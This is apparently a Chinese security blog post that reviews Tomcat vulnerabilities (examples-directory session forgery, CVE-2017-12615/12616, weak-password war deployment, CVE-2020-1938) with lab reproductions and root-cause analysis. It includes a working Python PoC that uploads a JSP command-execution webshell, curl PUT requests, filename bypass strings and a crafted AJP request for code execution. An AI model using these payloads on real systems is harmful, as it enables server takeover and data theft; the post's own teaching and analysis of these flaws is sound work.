tomcat常用漏洞汇总
文章最后更新时间为:2020年12月08日 18:00:07
总结以下tomcat的一些常见漏洞
example目录操纵session
Apache Tomcat默认安装包含”/examples”目录,里面存着众多的样例,其中session样例(/examples/servlets/servlet/SessionExample)允许用户对session进行操纵。因为session是全局通用的,所以用户可以通过操纵session获取管理员权限。
漏洞复现
这个漏洞在实际场景中基本遇不到,下面来复现一下。
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.1/bin/apache-tomcat-9.0.1.tar.gz
tar -zxvf apache-tomcat-9.0.1.tar.gz
cd apache-tomcat-9.0.1/bin
bash startup.sh
此时访问http://127.0.0.1:8080就已经能看到tomcat主页了。
然后在examples下新增三个文件。
// index.jsp
<%
if(session.getAttribute("login")!= null &&
((String)session.getAttribute("login")).equals("admin")){
out.println("already login");
} else{
response.sendRedirect("login.jsp");
}
%>
//login.jsp
<form action=login2.jsp method="POST" >
username <input type="text"name="username"><br>
password <input type="text" name="password"><br>
<inputtype="submit" value="登录"><br>
<form>
//login2.jsp
<%
if(request.getParameter("username") != null &&
request.getParameter("password")!= null) {
String username =request.getParameter("username");
String password =request.getParameter("password");
//验证身份
if (username.equals("admin")&& password.equals("admin")) {
session.setAttribute("login","admin");
response.sendRedirect("index.jsp");
}else {
response.sendRedirect("login.jsp");
}
}
%>
现在直接访问http://127.0.0.1:8080/examples/index.jsp,因为没有登陆,所以会直接跳转到login.jsp。
接着我们访问打开SessionExample:http://127.0.0.1:8080/examples/servlets/servlet/SessionExample
构造session login=admin:
再次打开index.jsp,显示成功登录。
原理分析
直接看SessionExample的源码:
// webapps/examples/WEB-INF/classes/SessionExample.java
public class SessionExample extends HttpServlet {
private static final long serialVersionUID = 1L;
private static final ResourceBundle RB = ResourceBundle.getBundle("LocalStrings");
.......
String dataName = request.getParameter("dataname");
String dataValue = request.getParameter("datavalue");
if (dataName != null && dataValue != null) {
session.setAttribute(dataName, dataValue);
}
out.println("<P>");
out.println(RB.getString("sessions.data") + "<br>");
Enumeration<String> names = session.getAttributeNames();
while (names.hasMoreElements()) {
String name = names.nextElement();
String value = session.getAttribute(name).toString();
out.println(HTMLFilter.filter(name) + " = "
+ HTMLFilter.filter(value) + "<br>");
}
......
}
用户通过表单提交name和value两个参数值。然后通过request里的getParameter()函数获取name和value值。再通过session.setAttribute()函数将获取到的name和value值传递到session里面。于是就可以随意伪造session了。
CVE-2017-12615
Apache在2017年9月19日发布并修复CVE-2017-12615 tomcat高危漏洞: https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.81
该漏洞称之为Tomcat PUT方法任意写文件漏洞,类似IIS的PUT上传漏洞。该漏洞可以利用HTTP的PUT方法直接上传webshell到目标服务器,从而获取权限。
漏洞只影响Windows环境,且需要将readonly初始化参数由默认值设置为false,默认配置下无此漏洞,鸡肋漏洞。
影响范围:7.0.0 – 7.0.79
漏洞复现
采用docker复现: https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
将docker起来后,用curl发送put请求,上传文件:
$ curl -v -X PUT -d "this is shell" 127.0.0.1:8080/1.jsp/
* Trying 127.0.0.1:8080...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> PUT /1.jsp/ HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Length: 13
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 13 out of 13 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 204
< Date: Fri, 20 Nov 2020 06:28:46 GMT
<
* Connection #0 to host 127.0.0.1 left intact
$ curl 127.0.0.1:8080/1.jsp
this is shell%
或者用burp:
poc
#! -*- coding:utf-8 -*-
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
conn = httplib.HTTPConnection(sys.argv[1])
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and \
headers['allow'].find('PUT') > 0 :
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request( method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status == 201 :
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
elif res.status == 204 :
print 'file exists'
else:
print 'error'
conn.close()
else:
print 'Server not vulnerable'
except Exception,e:
print 'Error:', e
原理分析
漏洞涉及到tomcat两个重要的处理Http请求的Servlet,分别为org.apache.catalina.servlets.DefaultServlet和org.apache.jasper.servlet.JspServlet。其中
- DefaultServlet主要用于处理静态资源如html、image等。
- JspServlet用于处理动态页面请求如JSP、JSPX等。
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- The mappings for the JSP servlet -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
即使设置readonly为false,tomcat也不允许PUT上传jsp和jspx,因为后端都用org.apache.jasper.servlet.JspServlet来处理jsp或是jspx后缀的请求了,而 JspServlet中没有PUT上传的逻辑,PUT的代码实现只存在于DefaultServlet中.
所以我们上传的文件名为1.jsp/
,这样会进入DefaultServlet中,当windows下面的tomcat处理1.jsp/
文件时。会去除末尾的/
,保存为1.jsp
。所以该漏洞只存在于在windows下。相似的绕过方式有:
- evil.jsp%20
- evil.jsp::$DATA
- evil.jsp/
CVE-2017-12616
CVE-2017-12616和CVE-2017-12615是同时发布的,其原理也类似。
CVE-2017-12616(信息泄露):允许未经身份验证的远程攻击者查看敏感信息。漏洞条件是需要在conf/server.xml配置VirtualDirContex参数,默认情况下tomcat并不会对该参数进行配置。VirtualDirContext是FileDirContext的子类,它允许在单独的一个webapp应用下对外暴露出多个文件系统的目录。实际项目开发过程中,为了避免拷贝静态资源(如images等)至webapp目录下,tomcat推荐的做法是在server.xml配置文件中建立虚拟子目录,VirtualDirContex主要使用场景是在IDE开发环境,生产环境一般不会配置该参数开启。
影响范围:7.0.0 – 7.0.80
漏洞原理
如果我们临时对外开放了一个目录/temp=D:/src/main/webapp,且该目录包含了很多敏感的JSP代码,JspServlet负责处理所有JSP和JPSX类型的动态请求,DefautServelt负责处理静态资源请求。因此,我们是不能直接访问jsp代码的。
该漏洞实际上是利用了windows下文件名解析的漏洞来触发的。精心构造的恶意请求会绕过JspServelt,从而由DefaultServlet来处理该请求,从而获取源代码
如果将文件名修改成click.jsp%20
或者click.jsp::$DATA
成功获取JSP文件源码。
tomcat弱口令getshell
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中
manager(后台管理)
- manager-gui 拥有html页面权限
- manager-status 拥有查看status的权限
- manager-script 拥有text接口的权限,和status权限
- manager-jmx 拥有jmx权限,和status权限
host-manager(虚拟主机管理)
- admin-gui 拥有html页面权限
- admin-script 拥有text接口权限
其用户名和密码在Tomcat安装目录下的conf\tomcat-users.xml文件中配置。正常安装的情况下,tomcat8+中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。(测试看来tomcat7+很多也没有默认弱口令这回事)
漏洞复现
采用docker: https://github.com/vulhub/vulhub/blob/master/tomcat/tomcat8
docker起来后,访问后台管理界面http://127.0.0.1:8080/manager/html
输入用户名密码tomcat/tomcat
先将jsp大马压缩为zip,再将zip后缀改名为war,然后上传war包。
上传成功。直接访问jsp木马即可:http://127.0.0.1:8080/sqzr/sqzr.jsp
war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。
CVE-2020-1938
由于Tomcat AJP协议设计上存在缺陷,攻击者通过Tomcat AJP Connector可以读取或包含Tomcat上所有 webapp 目录下的任意文件,例如可以读取webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
受影响版本
- Apache Tomcat 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
- Apache Tomcat 9 < 9.0.31
漏洞复现
采用docker复现:https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2020-1938
攻击脚本:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
尝试读取WEB-INF/web.xml:
漏洞原理
Apache Tomcat服务器通过Connector连接器组件与客户程序建立连接,Connector表示接收请求并返回响应的端点。即Connector组件负责接收客户的请求,以及把Tomcat服务器的响应结果发送给客户。在Apache Tomcat服务器中我们平时用的最多的8080端口,就是所谓的Http Connector,使用Http(HTTP/1.1)协议.在conf/server.xml对应为:
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
除了Http Connector,还有而AJP Connector,它使用的是 AJP 协议(Apache Jserv Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。对应的端口为8099
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
Tomcat服务器默认对外网开启该端口 Web客户访问Tomcat服务器的两种方式:
本次漏洞与三个include
属性有关
- javax.servlet.include.request_uri
- javax.servlet.include.path_info
- javax.servlet.include.servlet_path
由于 Tomcat 在处理 AJP 请求时,未对请求做任何验证, 通过设置 AJP 连接器封装的 request 对象的属性, 导致产生任意文件读取漏洞和代码执行漏洞,也就是说我们只要构造 AJP 请求, 在请求时定义这三个属性就可以触发此漏洞。
任意文件读取
任意文件读取问题出现在org.apache.catalina.servlets.DefaultServlet
构造一个AJP请求,当请求被分发到org.apache.catalina.servlets.DefaultServlet#serveResource()方法,会调用getRelativePath
方法获取要读取资源的相对路径,通过getResources
方法就可以获取到了对应路径的Web资源对象。
然后再通过控制ajp控制的上述三个include属性来读取文件,通过操控上述三个属性从而可以读取到/WEB-INF下面的所有敏感文件,不限于class、xml、jar等文件。
任意代码执行
当在处理 jsp 请求的uri时,会调用 org.apache.jasper.servlet.JspServlet#service(),最后会将pathinfo交给serviceJspFile处理,以jsp解析该文件。
比如可以构造一个如下的AJP请求,访问/test.jsp,但实际上tomcat会将code.txt当成test.jsp来解析执行。
RequestUri:/test.jsp
javax.servlet.include.request_uri: /
javax.servlet.include.path_info: code.txt
javax.servlet.include.servlet_path: /
所以当我们可以控制服务器上的文件的时候,比如存在jsp的文件上传,就能够造成rce。